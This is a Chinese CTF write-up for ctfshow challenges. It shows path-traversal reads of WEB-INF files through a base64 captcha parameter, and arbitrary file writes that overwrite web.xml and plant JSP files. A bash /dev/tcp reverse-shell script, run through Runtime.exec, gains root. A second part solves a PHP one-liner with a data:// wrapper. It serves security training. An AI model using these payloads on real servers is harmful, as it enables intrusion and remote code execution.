CTFSHOW摆烂杯

登入不了

此时进去之后发现有登入面板和注册面板;此时我们先考虑注册一个账号;然后发现这里有一个验证码,但是我们在注册的时候却不要需要用到验证码;此时在GET提交的时候有一串奇怪的字符YzgxZTcyOC5qcGc=;

看着很像base64,此时先进行一个base64的解码

此时发现是一张图片,此时怀疑是验证码导致的任意文件读取;并且通过信息收集发现这个是一个java框架;而java框架类型的web题目关键是在于WEB-INF目录

1
2
3
4
5
6
java项目的敏感信息:
/WEB-INF/web.xml:WEB应用程序的配置文件
/WEB-INF/pom.xml:java项目的信息
/WEB-INF/classes/:含有站点所以用的class文件;我们可以通过反编译的软件反编译classes文件从而获取网站源码
/WEB-INF/lib/:存放web站点所需要的各种JAR文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码

此时我们直接来验证是否是验证码导致的任意文件读取;此时先尝试读取读取/WEB-INF/web.xml发现返回值是200但是没有回显;此时考虑目录穿越的方法继续进
行读取,尝试后发现需要穿越三个目录../../../WEB-INF/web.xml进行base64编码然后以GET的方式传入;此时发现读取成功;已经读取到WEB应用的配置文件

此时我们尝试读取/WEB-INF/classes;发现没有回显,那么此时我们就需要进行寻找claasses包此时我们读取WEB-INF/pom.xml进行查看java的项目信息,此时
发现了jar包;尝试进行读取

此时将../../../WEB-INF/lib/tiny-framework-1.0.1.jar进行base64编码尝试进行读取

此时右键选择copy to file然后进行反编译去寻找classes包;此时需要注意的是jar包最后只需要五个00即可后面多余的00需要我们进行手动删除

此时使用反编译软件进行反编译之后去看config配置文件寻找控制路由以便于找到控制器的接口

此时找到了控制路由继续进行追踪查看config/controller.properties;此时找到了Index的控制器

此时继续读取../../../WEB-INF/classes/com/ctfshow/controller/Index.class进行查看网页源码;读取成功之后继续copy to file然后修改文件尾删去
多余的空格

此时经过反编译发现此时的password并没有经过过滤,所以此时这里存在了任意文件写入的漏洞

1
FileUtil.writeFile(String.valueOf(this.request.server().path()) + "../" + username, password);

登录页面的username是文件名,password是写入内容,写入路径String.valueOf(this.request.server().path()的值是WEB-INF/classes/文件夹,然后拼接了../,最终写入的文件夹是WEB-INF
利用tomcat加载机制重写web.xml创建新页面接口(官方wp中创建了ctfshow接口,对应访问1.jsp,一般来说WEB-INF中的文件是不允许访问的,但是可以通过在web.xml中创建接口来访问)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
username=web.xml&password=<?xml version="1.0" encoding="UTF-8"?>
<web-app version="3.0"
xmlns="http://java.sun.com/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee
http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd">
<display-name></display-name>
<filter>
<filter-name>routerFilter</filter-name>
<filter-class>com.ctfshow.filter.impl.RouterFilterImpl</filter-class>
</filter>
<filter-mapping>
<filter-name>routerFilter</filter-name>
<url-pattern>/404.html</url-pattern>
<url-pattern>/s/*</url-pattern>
<dispatcher>REQUEST</dispatcher>
</filter-mapping>
<servlet>
<servlet-name>ctfshow</servlet-name>
<jsp-file>/WEB-INF/1.jsp</jsp-file>
</servlet>
<servlet-mapping>
<servlet-name>ctfshow</servlet-name>
<url-pattern>/ctfshow</url-pattern>
</servlet-mapping> </web-app>

写入1.jsp,找到绝对路径,为后面执行反弹shell脚本找参数

1
2
3
4
5
username=1.jsp&password=<%25 
String path=application.getRealPath(request.getRequestURI());
String dir=new java.io.File(path).getParent();
out.println(dir);
%25>

写入1.sh反弹shell脚本,反弹到自己的服务器上

1
username=1.sh&password=bash -i %3e%26 /dev/tcp/ip/port 0%3e%261

再写1.jsp,执行1.sh反弹shell,拿到root权限,根目录下就有flag

1
username=1.jsp&password=<%25 java.lang.Runtime.getRuntime().exec("sh /home/apache-tomcat-8.5.45/webapps/ROOT/WEB-INF/1.sh");%25>

参考文章:https://blog.csdn.net/weixin_46081055/article/details/122301591
https://www.cnblogs.com/aninock/p/15830941.html
此时后面反弹shell提权的操作复现了一个下午都不行不知道是在哪里出的问题

一行代码

1
2
3
<?php
echo !(!(include "flag.php")||(!error_reporting(0))||stripos($_GET['filename'],'.')||($_GET['id']!=0)||(strlen($_GET['content'])<=7)||(!eregi("ctfsho".substr($_GET['content'],0,1),"ctfshow"))||substr($_GET['content'],0,1)=='w'||(file_get_contents($_GET['filename'],'r') !== "welcome2ctfshow"))?$flag:str_repeat(highlight_file(__FILE__), 0);
?>

此时这个代码写成一行太臭了,我把它分开来看

此时我们需要了解几个基础的前置知识
1.三目运算符:三目运算符可以实现简单的判断功能与if…else的功能一致,但是使用三目运算符可以将代码写成一行,恰当的使用三目运算符可以使得脚本的运行更加的流畅和高效

1
2
(expr1)?(expr2):(expr3);
若是条件expr1成立则会执行expr2;否则执行expr3

2.stripos(string,find,start):查找find在string中第一次出现的位置
3.strlen($string):返回字符串string的长度
4.eregi(string pattern, string string, [array regs]):由模式指定的字符串中搜索指定的字符串,搜索不区分大小写。可选的输入参数regs包含由正则
表达式中的括号组成的所有匹配表达式的数组。
5.file_get_contents():将整个文件读入一个字符串

1
2
3
4
5
6
7
file_get_contents(
string $filename, //filename:要读文件的名称
bool $use_include_path = false,
?resource $context = null,
int $offset = 0,
?int $length = null
): string|false

5.或;此时只需一个成立即为true
审计源码:
此时运用了三目运算符进行判断功能;注意三目运算符前面的!;所以我们要做的是让expr1为false即可触发echo $flag;接下来来看我们的expr1;此时要求我
们以GET输入的id不为0;且以GET输入的content长度小于等于7并且要求我们输入的content在经过截取的第一个字符不为w;又因为在这个三目运算符前面有一个!;所以此时我们需要让括号内的内容都为假

1
2
3
4
5
6
stripos($_GET['filename'],'.') -->此时将filename置空即可
($_GET['id']!=0) -->让id=0
(strlen($_GET['content'])<=7) -->让$content的长度大于7
(!eregi("ctfsho".substr($_GET['content'],0,1),"ctfshow")) -->$content的第一个字符为'W'
substr($_GET['content'],0,1)=='w' -->%content的第一个字符为'W'
(file_get_contents($_GET['filename'],'r') !== "welcome2ctfshow")) -->此时利用data伪协议写入数据

黑客网站


文本中有多次出现onion;此时我们可以使用Tor浏览器进行访问;后缀加上.onion即可